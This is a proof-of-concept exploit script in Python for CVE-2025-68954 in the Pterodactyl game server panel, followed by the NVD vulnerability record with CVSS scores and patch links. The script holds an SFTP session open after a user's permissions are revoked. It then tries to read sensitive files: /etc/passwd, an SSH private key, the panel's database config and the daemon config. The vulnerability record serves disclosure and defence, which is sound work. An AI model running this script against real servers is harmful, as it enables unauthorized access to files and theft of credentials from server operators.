CVE-2025-68954

#!/usr/bin/env python3 """ CVE-2025-68954 PoC - Pterodactyl SFTP Permission Revocation Bypass Note: This PoC demonstrates the vulnerability concept for authorized security testing only """ import paramiko import time import threading class PterodactylSFTPVulnerability: def __init__(self, host, port, username, password): self.host = host self.port = port self.username = username self.password = password self.ssh_client = None self.sftp = None self.connected = False def connect(self): """Establish initial SFTP connection""" try: self.ssh_client = paramiko.SSHClient() self.ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) self.ssh_client.connect( self.host, port=self.port, username=self.username, password=self.password, timeout=10 ) self.sftp = self.ssh_client.open_sftp() self.connected = True print(f"[+] SFTP connection established as {self.username}") return True except Exception as e: print(f"[-] Connection failed: {e}") return False def keep_alive(self, interval=30): """Background thread to maintain SFTP connection""" def maintain(): while self.connected: try: # List directory to verify connection is alive self.sftp.listdir('/') print(f"[*] SFTP session active - {time.strftime('%Y-%m-%d %H:%M:%S')}") time.sleep(interval) except Exception as e: print(f"[-] Connection lost: {e}") self.connected = False break thread = threading.Thread(target=maintain, daemon=True) thread.start() def access_file(self, filepath): """Attempt to access file after permission revocation""" if not self.connected: print("[-] Not connected") return None try: # Try to read file content with self.sftp.open(filepath, 'r') as f: content = f.read() print(f"[+] Successfully accessed: {filepath}") return content except PermissionError: print(f"[-] Access denied for: {filepath}") return None except FileNotFoundError: print(f"[-] File not found: {filepath}") return None except Exception as e: print(f"[-] Error accessing {filepath}: {e}") return None def disconnect(self): """Close SFTP connection""" if self.sftp: self.sftp.close() if self.ssh_client: self.ssh_client.close() self.connected = False print("[*] Connection closed") def main(): # Configuration - replace with actual target information target = { 'host': 'pterodactyl.example.com', 'port': 2022, 'username': 'exploit_user', 'password': 'user_password' } print("=" * 60) print("CVE-2025-68954 - Pterodactyl SFTP Permission Bypass PoC") print("=" * 60) # Step 1: Establish initial SFTP connection exploit = PterodactylSFTPVulnerability( target['host'], target['port'], target['username'], target['password'] ) if not exploit.connect(): return # Step 2: Start connection maintenance thread exploit.keep_alive(interval=30) print("\n[*] SFTP session is being maintained...") print("[*] Simulating scenario where admin revokes permissions...") # Step 3: Wait for permission revocation (simulated) # In real attack: attacker waits for admin action time.sleep(5) # Step 4: Attempt to access files after "permission revocation" print("\n[*] Attempting to access files after permission revocation...") sensitive_paths = [ '/etc/passwd', '/home/container/.ssh/id_rsa', '/var/www/pterodactyl/config/database.php', '/srv/docker/daemon/config.yml' ] for path in sensitive_paths: exploit.access_file(path) # Keep connection alive for demonstration print("\n[*] SFTP session remains active despite permission changes") print("[*] Press Ctrl+C to terminate") try: while exploit.connected: time.sleep(1) except KeyboardInterrupt: exploit.disconnect() if __name__ == '__main__': main()

{"cve": {"id": "CVE-2025-68954", "sourceIdentifier": "[email protected]", "published": "2026-01-06T01:16:01.387", "lastModified": "2026-01-12T21:29:12.877", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Pterodactyl is a free, open-source game server management panel. Versions 1.11.11 and below do not revoke active SFTP connections when a user is removed from a server instance or has their permissions changes with respect to file access over SFTP. This allows a user that was already connected to SFTP to remain connected and access files even after their permissions are revoked. A user must have been connected to SFTP at the time of their permissions being revoked in order for this vulnerability to be exploited. This issue is fixed in version 1.12.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-613"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pterodactyl:panel:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.12.0", "matchCriteriaId": "6163FD74-C4E9-4B5C-82B5-9BB139F9FE9D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:pterodactyl:wings:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.12.0", "matchCriteriaId": "D0892774-9788-48C8-A188-A1A6373735F0"}]}]}], "references": [{"url": "https://github.com/pterodactyl/panel/commit/2bd9d8baddb0e0606e4a9d5be402f48678ac88d5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pterodactyl/panel/releases/tag/v1.12.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/pterodactyl/panel/security/advisories/GHSA-8c39-xppg-479c", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}